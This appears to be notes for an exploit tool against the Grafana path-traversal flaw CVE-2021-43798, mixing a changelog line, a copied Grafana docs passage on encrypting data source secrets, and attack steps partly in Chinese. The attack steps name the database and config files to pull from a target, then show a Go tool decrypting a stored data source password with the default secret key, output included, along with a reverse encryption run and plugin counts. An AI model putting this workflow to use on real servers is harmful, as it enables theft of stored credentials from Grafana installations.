8.3.1 (2021-12-07) Security: Fixes CVE-2021-43798 . For more information, see our blog
Example: get db password
/var/lib/grafana/grafana.db
Config /etc/grafana/grafana.ini
bash-5.1$ ps -ef |grep grafana
1 grafana 0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
Ensure encryption of data source secrets
Data sources store passwords and basic auth passwords in secureJsonData encrypted (AES-256 in CFB mode) by default. Existing data source will keep working with unencrypted passwords. If you want to migrate to encrypted storage for your existing data sources you can do that by:
- For data sources created through UI, you need to go to data source config, re-enter the password or basic auth password and save the data source.
- For data sources created by provisioning, you need to update your config file and use secureJsonData.password or secureJsonData.basicAuthPassword field. See [provisioning docs]({{< relref "../administration/provisioning" >}}) for example of current configuration.

decode password
例如： 从数据库/var/lib/grafana/grafana.db获得数据源密文 R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q== ,通过读取 /etc/grafana/grafana.ini 中的 secret_key (default: SW2YcwTIb9zpOOhoPsMm),进行解密
$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n
encode password
例如： 将明文密码jas502n通过key，加密成密文
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==
Default plugins count: 40
Successful count: 48
